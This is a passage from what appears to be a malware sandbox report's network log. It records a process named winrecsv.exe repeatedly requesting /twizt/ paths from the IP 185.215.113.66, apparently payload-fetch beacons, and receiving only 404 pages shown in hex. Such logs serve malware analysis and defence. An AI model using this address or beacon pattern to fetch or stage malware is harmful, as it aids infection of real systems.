6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:40.983021021 CEST	872	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:41.042918921 CEST	873	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:41 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:43.014853001 CEST	873	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:43.071795940 CEST	874	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:43 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:44.812818050 CEST	874	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:44.871459961 CEST	876	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:44 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49804	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:36.809062958 CEST	7061	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:36.866003036 CEST	7062	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:36 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:37.938834906 CEST	7062	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:38.000555992 CEST	7063	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:37 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:39.964112043 CEST	7105	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:40.021171093 CEST	7106	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:39 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:41.314265013 CEST	7106	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:41.375215054 CEST	7107	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:41 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:43.473820925 CEST	7107	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:43.869448900 CEST	7115	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:43.928890944 CEST	7115	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:43 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 